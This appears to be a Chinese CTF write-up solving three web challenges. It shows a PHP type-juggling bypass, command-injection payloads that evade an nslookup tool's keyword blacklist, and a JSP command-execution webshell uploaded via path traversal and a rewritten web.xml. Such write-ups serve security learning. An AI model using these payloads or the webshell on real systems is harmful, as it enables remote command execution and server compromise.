Disal
打开页面没有有用信息,查看robots.txt发现f1ag.php,访问查看源代码:
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
这里要求a>999999且a的值为字母恰好出现六次。用十六进制编码绕过。令a=0xFFFFFF
b使用数组绕过。令b[]=12345。拿到flag
shxpl
页面是一个nslookup 工具
经过测试发现过滤参数很多
可用more查看文件,dir查看目录
www.baidu.com&dir
看到源代码index.php
www.baidu.com&more<index.php
拿到源码关键部分:
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$domain = $_POST["domain"];
if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
$output = shell_exec("nslookup " . $domain);
echo "<h2>Results for $domain:</h2>";
echo "<pre>" . htmlspecialchars($output) . "</pre>";
}else{
echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")
这里的话空格被过滤,如果直接在框中输入"dir%09/"查看根目录,%09会被过滤为%2509,所以可以用BP抓包查看根目录
www.baidu.com%26dir%09/
读取flag payload:
www.baidu.com%26more%09/f[l]ag_l4mnyerd
TOXEC
文件上传页面,发现可以上传xml文件,但不能上传jsp木马
上传一个shell.xml文件,内容为jsp的回显马,这里注意上传路径../WEB-INF/shell.xml
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
再上传一个web.xml,将xml解析为jsp。这里注意上传路径../WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
最后访问exec路径即可